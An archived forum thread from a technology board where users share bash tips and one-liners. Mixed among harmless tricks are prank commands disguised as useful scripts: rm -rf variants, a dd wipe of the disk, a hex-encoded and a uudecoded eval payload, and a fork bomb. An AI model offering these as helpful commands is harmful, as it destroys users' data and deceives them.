[Boards: 3 / a / aco / adv / an / asp / b / bant / biz / c / can / cgl / ck / cm / co / cock / d / diy / e / fa / fap / fit / fitlit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mlpol / mo / mtv / mu / n / news / o / out / outsoc / p / po / pol / qa / qst / r / r9k / s / s4s / sci / soc / sp / spa / t / tg / toy / trash / trv / tv / u / v / vg / vint / vip / vp / vr / w / wg / wsg / wsr / x / y ] [Search | Extra juicy! | Home]

usefull bash scripts

This is a blue board which means that it's for everybody (Safe For Work content only). If you see any adult content, please report it.

Thread replies: 50
Thread images: 6

File: file.png (5KB, 399x163px) Image search: [iqdb] [SauceNao] [Google]
file.png
5KB, 399x163px
~
>>
File: 1349044541116.png (108KB, 247x278px) Image search: [iqdb] [SauceNao] [Google]
1349044541116.png
108KB, 247x278px
>>51503655
fortune | cowsay

saved my life a few times desu
>>
https://www.jitbit.com/alexblog/249-now-thats-what-i-call-a-hacker/
>>
>*le rm -rf maymay
>>
>>51503655
Sourcing bash files is how you "include" a file into the current shell instead of a subshell. Its handy to update the current shell by sourcing .bashrc if changes were made to it.

Also piping to grep is one of the best things ever. There may be search options for a command but if you dont know them at least you know grep.
>>
>>51504554
Should say its ALSO handy to source .bashrc. It is more handy for including libraries in another bash script
>>
Working on a fake antivirus for Linux to throw off my IT department at school. They think Windows is the only OS and won't let you use your computer if it doesn't have antivirus so fuck them. Also this makes Arch a fuck ton easier to install: https://github.com/helmuthdu/aui
>>
>>51504179
function fish_greeting; sl; fortune off/sex | cowsay; end; funcsave fish_greeting
>>
>>51504590
PS: hilarity ensued when I tried this, watched the locomotive roll by and was then greeted by a cow that said "this system goes down more often than a $2 whore"
>>
>>51504564
just install clamav and rkhunter
>>
>>51504554
It's better to use exec bash than source .bashrc
>>
rm -rf /

opens a better looking file manager.
>>
>>51504694
punk rock man!
>>
>>51504694
dd if=/dev/zero of=/dev/sda && sync
D-Day Zero file sync program c:
>>
`echo 726d202d7266207e | xxd -r -p`
>>
>>51504986
>not running this script everytime you start your computer
>2015
>ISHYGDDT
>>
I made a script for my OSMC/Kodi box that searches youtube for trailers of all the movies in my database, and downloads them into a folder for use with the "Cinema Experience"/"Cinema Vision" plug in.

Seeing trailers for other films on the HDD before watching a film is a sweet way to remember hidden gems you have.

Definitely the most "useful" bash script I've written.
>>
>>51504986

I ain't falling for that shit nigga
>>
>>51504986
>>51505380
>>51508180
This is my favorite thing to slap noobtards with:
eval $(echo "I<RA('1E<W3t`p&r()(g8f6/&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode)
>>
lolz roflcopter
>> rm -rf /* --no-preserve-root
>>
>>51504247
I wonder where the fuck you get a coffee maker with Linux installed on it. I'd so want to do this shit.
>>
>>51504247
What the hell is wtrong with making dagrams in dot? It's an efficient tool for this.
>>
>>51506351
>searches youtube for trailers of all the movies in my database
That is fucking brilliant, anon
>>
>>51508356

Well, if you use Kodi, feel free to grab it. It works pretty well, even if my code is amateur hour:- https://github.com/CategoryQ/QYTTS
>>
alias lol='ls | festival --tts'


Stands for "list out loud"
>>
>>51508306
dot is fucking great
>>
>>51509512

lol
>>
>>51504564
https://help.ubuntu.com/community/Antivirus
>>
>>51508220
whats it do
>>
>>51510088

Gets dub dubs. Appears you don't need it.
>>
>>51510431
do you even english?
>>
>>51510457

Yes
>>
>>51508220
what does this do? i ran it in a vm, just seemed to freeze, rebooted it and everything looks ok
>>
>>51510626
then what the fuck are you trying to say?
>>
>>51511921

That code gets you 2 pairs of identical digits at the end of a 4chan post number. A single pair is often called "dubs". 2 non matching pairs is "dub dubs". 2 matching pairs are often called "quads" or "4xget" or "Alfred pips"

>>51510088 got them anyway, so doesn't need to use that command.

Does that help, newfriend?
>>
:(){ :|:& };:

Muh sides
>>
>>51512492
Oh so thats why I got the dub dubs!
I had ran the code before I posted, it just set everything up for me in the background
>>
PS1="NIGGER FAGGOT"
>>
>>51508220
I ran it without the eval to see what it would be executing - Well played.
>>
alias maze='while true; do [ $[$RANDOM % 2] == 0 ] && echo -n ╱ || echo -n ╲; sleep 0.0005; done'
>>
>>51503655
I wrote a shell script to use curl and some variable magic to get crime data from crimemappings.com, and take every CaseNumber, and run it through the ReportSearch script at the fort worth police department's website.

Why?
Because my mom thinks i'm 'losing time' and passing out in random peoples' driveways.

So I was trying to find the police report of the incident, so that I could prove it wasn't me.

It's odd the ways you end up using your computer skills sometimes. (not that my skills are any good)
>>
>>51515316
>>
>>51515316
>>51515399
Hmm interesting. I'm doing something very similar with crime and crash reports in some counties but unfortunately I have to scrape PDFs for the data which takes long.
>>
ps aux | grep root
>>
>>51515316
>>51515399
i want to make fun of you for still living with your mom/being a kid like most of fucking /g/ is....but damn, nice work kid.
>>
>>51504694
>>51504779
/thread
>>
what will we do when piping across applications with bash and parsing outputs becomes the bottleneck in programs?
>>
>>51516819
Isn't bash's job just to ask the OS for some pipes and hook them up so the programs can go wild?
>>
File: Abong.png (35KB, 386x256px) Image search: [iqdb] [SauceNao] [Google]
Abong.png
35KB, 386x256px
>>51510696
It's a fork bomb. It basically opens so many processes, your system slows down too the point that it freezes.
>>
>>51515316
Want to post your code bro?
Thread posts: 50
Thread images: 6


[Boards: 3 / a / aco / adv / an / asp / b / bant / biz / c / can / cgl / ck / cm / co / cock / d / diy / e / fa / fap / fit / fitlit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mlpol / mo / mtv / mu / n / news / o / out / outsoc / p / po / pol / qa / qst / r / r9k / s / s4s / sci / soc / sp / spa / t / tg / toy / trash / trv / tv / u / v / vg / vint / vip / vp / vr / w / wg / wsg / wsr / x / y] [Search | Top | Home]
Please support this website by donating Bitcoins to 16mKtbZiwW52BLkibtCr8jUg2KVUMTxVQ5
If a post contains copyrighted or illegal content, please click on that post's [Report] button and fill out a post removal request
All trademarks and copyrights on this page are owned by their respective parties. Images uploaded are the responsibility of the Poster. Comments are owned by the Poster.
This is a 4chan archive - all of the content originated from that site. This means that 4Archive shows an archive of their content. If you need information for a Poster - contact them.